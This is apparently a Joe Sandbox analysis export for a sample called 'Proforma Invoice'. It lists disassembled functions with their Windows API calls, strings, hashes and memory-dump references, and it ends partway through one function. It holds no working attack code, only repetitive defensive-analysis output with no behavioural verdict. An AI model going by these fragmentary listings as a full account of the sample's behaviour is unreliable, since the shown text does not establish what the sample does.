Opcode Fuzzy Hash: be88c43fefcfc9dfb4106830a268d22f10b5078afb57407ce75826ce5dd85d40
Instruction Fuzzy Hash: 62616930540A02DFCB35AF18D958B69B7F3FF41312F508529E5424BA64C7B8AC91EF98

Function 006A21A5 Relevance: 18.1, APIs: 12, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 006A25DB: GetWindowLongW.USER32(?,000000EB), ref: 006A25EC

GetSysColor.USER32(0000000F), ref: 006A21D3

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 0ecfd60732a3be62ad838861bd1b99c1fdfccad9259e27469112fb0b8175209e
Instruction ID: eb27f88ede5b7d72a9b58479b286f5d3fc127472e5f35429b3ebd978b2b36bb0
Opcode Fuzzy Hash: 0ecfd60732a3be62ad838861bd1b99c1fdfccad9259e27469112fb0b8175209e
Instruction Fuzzy Hash: 7B419031480145DBDB216F2CDC98BF93B67EB07321F2482A5FE658A2E5C7358D42DB25

Function 0070A8A7 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,0072F910), ref: 0070A90B
GetDriveTypeW.KERNEL32(00000061,007589A0,00000061), ref: 0070A9D5
_wcscpy.LIBCMT ref: 0070A9FF

Strings

network, xrefs: 0070A969
all, xrefs: 0070A911
cdrom, xrefs: 0070A927
removable, xrefs: 0070A93D
ramdisk, xrefs: 0070A97F
fixed, xrefs: 0070A953
unknown, xrefs: 0070A996

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-1000479233
Opcode ID: 99b44f8bf5e64b5c957302e6207331a8f78199c0d83a71f3105a2f99727b4726
Instruction ID: c5a64604aa9866af053bd0e05e37fdfbc2240980bba0030bdb4db810cdb85f78
Opcode Fuzzy Hash: 99b44f8bf5e64b5c957302e6207331a8f78199c0d83a71f3105a2f99727b4726
Instruction Fuzzy Hash: 61518E71218301EBC740EF14C892AAFB7E6EF85304F104A2DF996572D2DB75AD09CA93

Function 006A9837 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 006A9862
__swprintf.LIBCMT ref: 006A98AC
__i64tow.LIBCMT ref: 006DF5E6

Strings

0x%p, xrefs: 006DF5C8
%.15g, xrefs: 006A98A6
False, xrefs: 006DF5AE
True, xrefs: 006DF5A7

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: e100caf0fff52fae52827071774d480e681654e2290d13b681c19f12951ecb3f
Instruction ID: 6b56174c6c319b142b58e0f724947edafdbcf1f7b4c7f478884f258aedb48cde
Opcode Fuzzy Hash: e100caf0fff52fae52827071774d480e681654e2290d13b681c19f12951ecb3f
Instruction Fuzzy Hash: 3941B8719102059FEB24EF34D841EB673EAEF46300F30486EE54AD7391EA75AD42CB21

Function 00727152 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0072716A
CreateMenu.USER32 ref: 00727185
SetMenu.USER32(?,00000000), ref: 00727194
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00727221
IsMenu.USER32(?), ref: 00727237
CreatePopupMenu.USER32 ref: 00727241
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 0072726E
DrawMenuBar.USER32 ref: 00727276

Strings

F, xrefs: 00727262
0, xrefs: 00727160

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0$F
API String ID: 176399719-3044882817
Opcode ID: c103e6a73c56ee2daa12fa7ed110bf951f8b855849d69295fcd6f0e6f39713a6
Instruction ID: 71998ffa05ccddf0c0b014b06e7e62701e4468ba16a7718652b209da2763a42a
Opcode Fuzzy Hash: c103e6a73c56ee2daa12fa7ed110bf951f8b855849d69295fcd6f0e6f39713a6
Instruction Fuzzy Hash: 4A416874A01219EFDB24DF64EA84E9ABBF5FF48310F144028F945A7360D739A920CFA4

Function 007274BB Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 0072755E
CreateCompatibleDC.GDI32(00000000), ref: 00727565
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00727578
SelectObject.GDI32(00000000,00000000), ref: 00727580
GetPixel.GDI32(00000000,00000000,00000000), ref: 0072758B
DeleteDC.GDI32(00000000), ref: 00727594
GetWindowLongW.USER32(?,000000EC), ref: 0072759E
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 007275B2
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 007275BE

Strings

static, xrefs: 007274F6

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: 180eeac54ba2c0b046ce3294932e2619a280a6e536052575e0fd65181844042d
Instruction ID: 1717e8a9eab785bfaa0c83b41ae800dbf665f570241e130a8feace22abd731e4
Opcode Fuzzy Hash: 180eeac54ba2c0b046ce3294932e2619a280a6e536052575e0fd65181844042d
Instruction Fuzzy Hash: 8C318171104225BBDF259F65EC09FDB7B79FF09720F114228FA15961A0C739D822DBA8

Function 006C6E03 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 006C6E3E

Part of subcall function 006C8B28: __getptd_noexit.LIBCMT ref: 006C8B28

__gmtime64_s.LIBCMT ref: 006C6ED7
__gmtime64_s.LIBCMT ref: 006C6F0D
__gmtime64_s.LIBCMT ref: 006C6F2A
__allrem.LIBCMT ref: 006C6F80
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 006C6F9C
__allrem.LIBCMT ref: 006C6FB3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 006C6FD1
__allrem.LIBCMT ref: 006C6FE8
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 006C7006
__invoke_watson.LIBCMT ref: 006C7077

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
Instruction ID: b7d26644809999fab5c7cb5de4dd5a68b4f4b02fa197a74400dd69ef91d3ae16
Opcode Fuzzy Hash: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
Instruction Fuzzy Hash: 5971E7B6A04717ABD714AE69DC41FBAB3AAEF04724F14822EF514D7381EB70DD408B94

Function 00702527 Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00702542
GetMenuItemInfoW.USER32(00765890,000000FF,00000000,00000030), ref: 007025A3
SetMenuItemInfoW.USER32(00765890,00000004,00000000,00000030), ref: 007025D9
Sleep.KERNEL32(000001F4), ref: 007025EB
GetMenuItemCount.USER32(?), ref: 0070262F
GetMenuItemID.USER32(?,00000000), ref: 0070264B
GetMenuItemID.USER32(?,-00000001), ref: 00702675
GetMenuItemID.USER32(?,?), ref: 007026BA
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00702700
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00702714
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00702735

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: d73519923d1d794841178ca7632458a821c112c8087bda32530bdef9ee0fa4c1
Instruction ID: ed7229a9fc155f4fa671ad76fcbfd9723aa0f5fbfb1af3c64788269c2968696d
Opcode Fuzzy Hash: d73519923d1d794841178ca7632458a821c112c8087bda32530bdef9ee0fa4c1
Instruction Fuzzy Hash: 716183B2500249EFDB21CF64CC8CDBE7BF8EB41304F144269E94193292D779AD16DB25

Function 00726F23 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00726FA5
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00726FA8
GetWindowLongW.USER32(?,000000F0), ref: 00726FCC
_memset.LIBCMT ref: 00726FDD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00726FEF
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00727067

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: 60dc14da7c55430b8802bf54c98074cb083482ac6f2a34739e3b9c8dd89fae06
Instruction ID: dc152924ed8df719459bbf3f16fe6dca37678cbb33ac1db33c5ec0622a5ceb06
Opcode Fuzzy Hash: 60dc14da7c55430b8802bf54c98074cb083482ac6f2a34739e3b9c8dd89fae06
Instruction Fuzzy Hash: 7A618A70900218AFDB20DFA4DD81EEE77F8EF49710F10415AFA15AB2A1C778AD45DBA0

Function 006F6B98 Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 006F6BBF
SafeArrayAllocData.OLEAUT32(?), ref: 006F6C18
VariantInit.OLEAUT32(?), ref: 006F6C2A
SafeArrayAccessData.OLEAUT32(?,?), ref: 006F6C4A
VariantCopy.OLEAUT32(?,?), ref: 006F6C9D
SafeArrayUnaccessData.OLEAUT32(?), ref: 006F6CB1
VariantClear.OLEAUT32(?), ref: 006F6CC6
SafeArrayDestroyData.OLEAUT32(?), ref: 006F6CD3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 006F6CDC
VariantClear.OLEAUT32(?), ref: 006F6CEE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 006F6CF9

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 3e3c1bb22bd8d20b8fad88ebd035a6eac9f2f44fda0cd6a4a84fe28609d30a98
Instruction ID: 79a6ff178a25e0ec1f13c1ca41f6847e6f81c02279bd2511cbcdd5eb4843be62
Opcode Fuzzy Hash: 3e3c1bb22bd8d20b8fad88ebd035a6eac9f2f44fda0cd6a4a84fe28609d30a98
Instruction Fuzzy Hash: 45413075A0011D9FCF10EF64D8449AEBBBAEF08354F008079FA55A7261CB74AA46CFA4

Function 00715732 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00715793
inet_addr.WSOCK32(?,?,?), ref: 007157D8
gethostbyname.WSOCK32(?), ref: 007157E4
IcmpCreateFile.IPHLPAPI ref: 007157F2
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00715862
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00715878
IcmpCloseHandle.IPHLPAPI(00000000), ref: 007158ED
WSACleanup.WSOCK32 ref: 007158F3

Strings

Ping, xrefs: 00715816

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 61f2ec7922f53cd07cb9053fd6b662fc226a2d652fcfa90bc10b844f0bfc3a43
Instruction ID: bb7886832de6f4c521a8c1b20771fa2f8b949b6a5886fcfc1acc81820e234d75
Opcode Fuzzy Hash: 61f2ec7922f53cd07cb9053fd6b662fc226a2d652fcfa90bc10b844f0bfc3a43
Instruction Fuzzy Hash: 2E517C31600600DFD724EF28C845BAAB7E4EB85710F148969F956EB2E1DB78ED408B56

Function 0070B4C3 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0070B4D0
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 0070B546
GetLastError.KERNEL32 ref: 0070B550
SetErrorMode.KERNEL32(00000000,READY), ref: 0070B5BD

Strings

READY, xrefs: 0070B596
NOTREADY, xrefs: 0070B57C
READONLY, xrefs: 0070B588
UNKNOWN, xrefs: 0070B575
INVALID, xrefs: 0070B58F

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 95fb543bb145a7e3cc326e61b278209cb3ba46e36eb24bb254f56affdd336381
Instruction ID: 1f24da5a4d91dd15a4657cb7be836bd1ab39ad31383b76e5666927fdc9ba1f94
Opcode Fuzzy Hash: 95fb543bb145a7e3cc326e61b278209cb3ba46e36eb24bb254f56affdd336381
Instruction Fuzzy Hash: 5D319E75A00209DFCB50EB68CC85AAE77F4EF05301F1042AAF901AB2D1DB799A12CB51

Function 006F8F8F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON

Download Yara Rule

APIs

Part of subcall function 006A7DE1: _memmove.LIBCMT ref: 006A7E22

Part of subcall function 006FAA99: GetClassNameW.USER32(?,?,000000FF), ref: 006FAABC

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 006F9014
GetDlgCtrlID.USER32 ref: 006F901F
GetParent.USER32 ref: 006F903B
SendMessageW.USER32(00000000,?,00000111,?), ref: 006F903E
GetDlgCtrlID.USER32(?), ref: 006F9047
GetParent.USER32(?), ref: 006F9063
SendMessageW.USER32(00000000,?,?,00000111), ref: 006F9066

Strings

ListBox, xrefs: 006F8FD1
ComboBox, xrefs: 006F8F9C

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 58c83e566b064bd6c2e9d464bd70adafb658d7ae21a7010ee10c0c732af951bb
Instruction ID: 555338873b7c93458b4a1ea6e69f2db4264cf7b70f0c5ba8677e05e2211d73b0
Opcode Fuzzy Hash: 58c83e566b064bd6c2e9d464bd70adafb658d7ae21a7010ee10c0c732af951bb
Instruction Fuzzy Hash: D521B674A00108BFDF15ABA0CC85EFEBB76EF49310F10416DFA61972A1DF795819DA24

Function 006F907A Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 006A7DE1: _memmove.LIBCMT ref: 006A7E22

Part of subcall function 006FAA99: GetClassNameW.USER32(?,?,000000FF), ref: 006FAABC

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 006F90FD
GetDlgCtrlID.USER32 ref: 006F9108
GetParent.USER32 ref: 006F9124
SendMessageW.USER32(00000000,?,00000111,?), ref: 006F9127
GetDlgCtrlID.USER32(?), ref: 006F9130
GetParent.USER32(?), ref: 006F914C
SendMessageW.USER32(00000000,?,?,00000111), ref: 006F914F

Strings

ListBox, xrefs: 006F90BC
ComboBox, xrefs: 006F9087

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: e7aad060b5eef7520a97e78ea2fc0e39e4f1abe8ae4675897b67d08f75b9309f
Instruction ID: f510150f1c5244fba18a5b7e78ab4b9d098abcea4da864f2caf45770222aac27
Opcode Fuzzy Hash: e7aad060b5eef7520a97e78ea2fc0e39e4f1abe8ae4675897b67d08f75b9309f
Instruction Fuzzy Hash: BC219574A00108BBDF15EBA4CC85FFEBB76EF49300F10412AFA51972A1DB79585ADB24

Function 006F9163 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 72windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 006F916F
GetClassNameW.USER32(00000000,?,00000100), ref: 006F9184
_wcscmp.LIBCMT ref: 006F9196
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 006F9211

Strings

largeicons, xrefs: 006F91A5
SHELLDLL_DefView, xrefs: 006F9190
list, xrefs: 006F91F3
details, xrefs: 006F91BF
smallicons, xrefs: 006F91D9

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-3381328864
Opcode ID: c77d2433b36ee3216a0315a78e3b4c4892d9a46028b7ccea76216a2d44f334a7
Instruction ID: 82ee3c534a2a1ba1f7fe747f21de585e4c84c185e02e0eceaa35f80e3029d650
Opcode Fuzzy Hash: c77d2433b36ee3216a0315a78e3b4c4892d9a46028b7ccea76216a2d44f334a7
Instruction Fuzzy Hash: F5110D7A14830BB5FA152624FC16FF7379EDB15721B20002AFE00A41E1EF9569565578

Function 00707990 Relevance: 15.3, APIs: 10, Instructions: 292COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000000,?), ref: 00707A6C

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ArraySafeVartype
String ID:
API String ID: 1725837607-0
Opcode ID: 37cf43e85c493fa91e67b9b0b5b9c3fac4940e14a5945d2c2f7de318de654411
Instruction ID: 08ebce7923c762e861c5e2cc4b8deb5692b8abd7015921d7e9459252cc0b7cd9
Opcode Fuzzy Hash: 37cf43e85c493fa91e67b9b0b5b9c3fac4940e14a5945d2c2f7de318de654411
Instruction Fuzzy Hash: D0B16A71D0420ADFEB14DFA4C884BBEB7F9EF09321F244529E601E7281D778A941CBA0

Function 007011CE Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 007011F0
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00700268,?,00000001), ref: 00701204
GetWindowThreadProcessId.USER32(00000000), ref: 0070120B
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00700268,?,00000001), ref: 0070121A
GetWindowThreadProcessId.USER32(?,00000000), ref: 0070122C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00700268,?,00000001), ref: 00701245
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00700268,?,00000001), ref: 00701257
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00700268,?,00000001), ref: 0070129C
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00700268,?,00000001), ref: 007012B1
